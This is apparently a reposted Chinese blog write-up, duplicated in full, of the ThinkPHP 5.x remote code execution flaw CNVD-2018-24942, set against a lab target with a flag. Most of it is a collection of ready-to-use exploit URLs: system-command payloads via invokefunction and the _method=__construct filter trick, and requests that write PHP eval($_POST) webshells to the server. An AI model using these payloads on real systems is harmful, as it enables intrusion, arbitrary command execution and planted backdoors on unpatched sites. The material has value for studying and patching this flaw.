thinkphp5x任意代碼執行漏洞(cnvd-2018-24942)


漏洞名稱

thinkphp5x任意代碼執行漏洞(cnvd-2018-24942)

影響范圍

ThinkPHP 5.0.全版本

那就是這個漏洞並不通殺 筆者后續對比了官方多個發布的5.0版本,大概總結出如下結論

 

版本名 是否可被攻擊 攻擊條件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8 無需開啟debug
5.0.9 無需開啟debug
5.0.10 無需開啟debug
5.0.11 無需開啟debug
5.0.12 無需開啟debug
5.0.13 需開啟debug
5.0.14 需開啟debug
5.0.15 需開啟debug
5.0.16 需開啟debug
5.0.17 需開啟debug
5.0.18 需開啟debug
5.0.19 需開啟debug
5.0.20
5.0.21 需開啟debug
5.0.22 需開啟debug
5.0.23 需開啟debug

之前看很多人復現時選的版本是5.0.13~5.0.19的,這些版本默認情況下config中的app_debug配置項為false,這也是為什么很多人用payload都無法復現

//遠程代碼執行
http://118.193.36.37:30812/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd


//這里我們上傳一句話
http://118.193.36.37:30812/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E


 

這里我們上傳一句話

 

 

 

這里通過一句話連接靶機

 

 

 

然后我們進終端看下有沒有“奇奇怪怪”的文件。

 

 

 

這里我們在/root目錄下看到一個以前執行的文件

 

 

 

然后我們看見這邊有個flag

 

 

這就完成了,這邊我們引用下大佬的poc

兩個通殺payload

版本號:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本號:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'

exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'

exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'

pay

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統命令

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

 

寫shell:

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

 

然后總結下這邊POC 引用[莫者]大神的

原文鏈接:https://blog.csdn.net/weixin_40709439/article/details/86564457

 

 

漏洞名稱

thinkphp5x任意代碼執行漏洞(cnvd-2018-24942)

影響范圍

ThinkPHP 5.0.全版本

那就是這個漏洞並不通殺筆者后續對比了官方多個發布的5.0版本,大概總結出如下結論

 

版本名 是否可被攻擊 攻擊條件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8 無需開啟debug
5.0.9 無需開啟debug
5.0.10 無需開啟debug
5.0.11 無需開啟debug
5.0.12 無需開啟debug
5.0.13 需開啟debug
5.0.14 需開啟debug
5.0.15 需開啟debug
5.0.16 需開啟debug
5.0.17 需開啟debug
5.0.18 需開啟debug
5.0.19 需開啟debug
5.0.20
5.0.21 需開啟debug
5.0.22 需開啟debug
5.0.23 需開啟debug

之前看很多人復現時選的版本是5.0.13~5.0.19的,這些版本默認情況下config中的app_debug配置項為false,這也是為什么很多人用payload都無法復現

//遠程代碼執行
http://118.193.36.37:30812/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd


//這里我們上傳一句話
http://118.193.36.37:30812/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

image-20210409225551041

 

這里我們上傳一句話

image-20210409231301824

這里通過一句話連接靶機

 

image-20210409231417219

 

然后我們進終端看下有沒有“奇奇怪怪”的文件。

 

image-20210409231601726

 

這里我們在/root目錄下看到一個以前執行的文件

 

image-20210409231711944

 

然后我們看見這邊有個flag

 

image-20210409231800126

這就完成了,這邊我們引用下大佬的poc

兩個通殺payload

版本號:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本號:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'

exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'

exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'

pay

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統命令

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

 

寫shell:

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

 

然后總結下這邊POC 引用[莫者]大神的

原文鏈接:https://blog.csdn.net/weixin_40709439/article/details/86564457

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM